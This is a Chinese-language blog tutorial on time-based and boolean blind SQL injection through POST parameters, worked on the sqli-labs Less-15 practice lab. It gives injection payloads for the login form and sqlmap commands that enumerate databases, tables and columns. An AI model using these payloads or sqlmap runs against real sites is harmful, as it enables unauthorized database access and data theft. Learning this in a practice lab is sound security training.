SQL | POST基于时间与布尔盲注

SQL | POST基于时间与布尔盲注

1.HTTP POST介绍

POST发送数据给服务器处理,数据包含在HTTP信息正文中
POST请求会指向资源提交数据,请求服务器进行处理,如:表单数据提交、文件上传等,请求数据会被包含在请求体中。
POST方法可能创建新的资源或修改现有资源。
使用POST方法时,查询字符串在POST信息中单独存在,和HTTP请求一起发送到服务器

SQL | POST基于时间与布尔盲注_第1张图片

2.POST基于时间的盲注

在存在注入点POST提交的参数后加and if(length(database())>5,sleep(5),null)如果执行的页面响应时间大于5秒,那么肯定就存在注入,并且对应的SQL语句执行。

我们在本地测试,有很明显延时

select * from users where id=1 and if(length(database())>5,sleep(5),null);

SQL | POST基于时间与布尔盲注_第2张图片
我们以Sqli-Lab-Less15为例,先进行抓包
SQL | POST基于时间与布尔盲注_第3张图片
(1)抓到包后,先进行确认,是否是我们想要代理的数据包;
(2)确认之后,发现我们所请求的方式是POST
(3)把数据包发送给Response,点击go
(4)查看右下角的时间情况;
本道题中,当我们使用时间盲注渗透测试时,有明显的延时回显

admin'and if(length(database())>7,sleep(5),null)--+

SQL | POST基于时间与布尔盲注_第4张图片
可以看到,前面正常的请求时间约2秒,而我们此时的时间为7秒,很明显的延时了5秒钟

3.POST基于布尔的盲注

在存在注入点POST提交的参数后加入if判断正确或错误的语句。

select length(database());
select substr(database(),1,1);
select ascii(substr(database(),1,1));
select ascii(substr(database(),1,1))>N;
select ascii(substr(database(),1,1))=N;
select ascii(substr(database(),1,1))

我们可以在本地的MySQL中进行测试

select * from users where username='admin' and (length(database())=8);

SQL | POST基于时间与布尔盲注_第5张图片
当我们测试数据库的长度是正确的时候,就会会显出正常的数据,否则为空。
我们还是以sqli-labs-less15为例

uname=admin' and 1=2#&passwd=123&submit=Submit

SQL | POST基于时间与布尔盲注_第6张图片
查看页面源代码,发现回显的这张图片是slap.jpg

SQL | POST基于时间与布尔盲注_第7张图片

我们输入正确的测试语句时

uname=admin1' and 1=1#&passwd=123&submit=Submit

SQL | POST基于时间与布尔盲注_第8张图片
查看页面源代码,发现回显的这张图片是flag.jpg
SQL | POST基于时间与布尔盲注_第9张图片
当我们执行布尔盲注的语句时,也是一样的回显,以此,可以爆破数据库,数据表名,字段名和字段内容

uname=admin' and length(database())=8#&passwd=123&submit=Submit

SQL | POST基于时间与布尔盲注_第10张图片

4.sqlmap安全测试

在sqlmap中指点探测技术使用–technique T(time) B(boolean)
1.将抓取下来数据包,全部复制到一个文本文档中
SQL | POST基于时间与布尔盲注_第11张图片
SQL | POST基于时间与布尔盲注_第12张图片
2.保存之后,使用sqlmap进行渗透测试

python2 sqlmap.py -r 1.txt --technique T -p uname

SQL | POST基于时间与布尔盲注_第13张图片
3.通过上述回显可以看出存在SQL基于时间的盲注,接下来爆破数据库

python2 sqlmap.py -r 1.txt --technique T -p uname --dbs

SQL | POST基于时间与布尔盲注_第14张图片
4.爆破数据表

python2 sqlmap.py -r 1.txt --technique T -p uname -D security --tables

SQL | POST基于时间与布尔盲注_第15张图片
5.爆破字段及内容

python2 sqlmap.py -r 1.txt --technique T -p uname -D security -T users --columns

SQL | POST基于时间与布尔盲注_第16张图片

你可能感兴趣的:(渗透测试学习,Web安全,信息安全,sql,服务器,数据库)